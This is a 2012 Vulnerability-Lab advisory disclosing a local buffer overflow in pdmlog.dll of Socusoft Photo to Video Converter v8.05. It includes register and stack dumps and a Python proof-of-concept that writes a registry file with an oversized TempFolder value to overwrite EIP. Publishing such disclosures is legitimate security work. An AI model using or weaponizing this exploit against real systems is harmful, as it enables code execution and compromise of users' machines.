Title:
======
Socusoft Photo 2 Video v8.05 - Buffer Overflow Vulnerability


Date:
=====
2012-02-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=460


VL-ID:
=====
460


Introduction:
=============
Socusoft photo to video converter Professional allows you to create all kinds of eye-catching 
slideshow videos (mp4, flv, mov, avi, mkv, mpeg, h.264, h.264 HD, 3gp, 3gpp2, swf ) playable on 
YouTube, Facebook, MySpace, iPod, iPad, iphone, Archos, PSP, Zune. With the powerful Photo to Video 
Converter Professional,you could convert photo to the animating and dynamic video and share the 
video on YouTube, Facebook, MySpace, iPod, iPad, iPhone. With just a few minutes of work, you\\\'ll 
have an eye-catching slideshow video with background music and dynamic pan&zoom and attractive 
transition effects. This powerful Photo to Video Converter Professional supports Over 260 animating 
transition effects with Pan & Zoom effect.

(Copy of the Vendor Homepage:  )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Socusofts Photo to Video 
Converter Free and Professional v8.05


Report-Timeline:
================
2012-02-27:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Socusoft Photo 2 Video v8.05


Exploitation-Technique:
=======================
Local


Severity:
=========
High


Details:
========
A Buffer Overflow vulnerability is detected on Socusoft Photo to Video Converter Free and Professional v8.05 (current version). 
The vulnerability is located in the pdmlog.dll. Successful exploitation can result in execution of code, overwrite of registers & system compromise.

Vulnerable DLL(s):
                                                [+] pdmlog.dll


--- Registers ---
# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006 
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206

--- Stack ---
# 01C5FBE0  00000000
# 01C5FBE4  00000002
# 01C5FBE8  000094B7
# 01C5FBEC  00000001
# 01C5FBF0  0036BF6F  pdmlog.dll:pdmlog_5+A69F  <- Crash
# 01C5FBF4  00360000  pdmlog.dll:00360000
# 01C5FBF8  00000002
# 01C5FBFC  00000000
# 01C5FC00  00000000
# 01C5FC04  01C5FC20  Stack[000001AC]:01C5FC20
# 01C5FC08  7FFDE000  debug066:7FFDE000

--- Dump ---
# 00370584  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 00370594  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 003705A4  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 003705B4  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 003705C4  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC


Picture(s):
                                                ../1.png


Proof of Concept:
=================
The Vulnerability can be exploited by local attackers. For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: Socusoft Photo to Video Converter Free/Pro v8.05 (pdmlog.dll) Local Buffer Overflow PoC
# Version:       8.05
# Date:          2012-02-26
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.socusoft.com
# Tested on:     Windows XP SP3 Professional German
# Notes:         Overflow occurs in pdmlog.dll
# Howto:         Import Reg -> Start App

# EAX 42424242
# EBX 00360000 pdmlog.dll:00360000
# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B
# EDX 80284006 
# ESI 00000002
# EDI 00000000
# EBP 01C5FC0C Stack[000001AC]:01C5FC0C
# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0
# EIP 42424242
# EFL 00010206

# 01C5FBE0  00000000
# 01C5FBE4  00000002
# 01C5FBE8  000094B7
# 01C5FBEC  00000001
# 01C5FBF0  0036BF6F  pdmlog.dll:pdmlog_5+A69F  <- Crash
# 01C5FBF4  00360000  pdmlog.dll:00360000
# 01C5FBF8  00000002
# 01C5FBFC  00000000
# 01C5FC00  00000000
# 01C5FC04  01C5FC20  Stack[000001AC]:01C5FC20
# 01C5FC08  7FFDE000  debug066:7FFDE000

file="poc.reg"

junk1="\x41" * 548
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"
poc=poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc=poc + "\"TempFolder\"=\"" + junk1 + boom + junk2 + "\""

try:
    print "[*] Creating exploit file...\n";
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!";
except:
    print "[!] Error while creating file!";


Risk:
=====
The security risk of the local buffer overflow vulnerability is estimated as high(-). 


Credits:
========
Vulnerability Research Laboratory   -   Julien Ahrens  (MrTuxracer)  [www.inshell.net]


Disclaimer:
===========
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    						Copyright � 2012|Vulnerability-Lab

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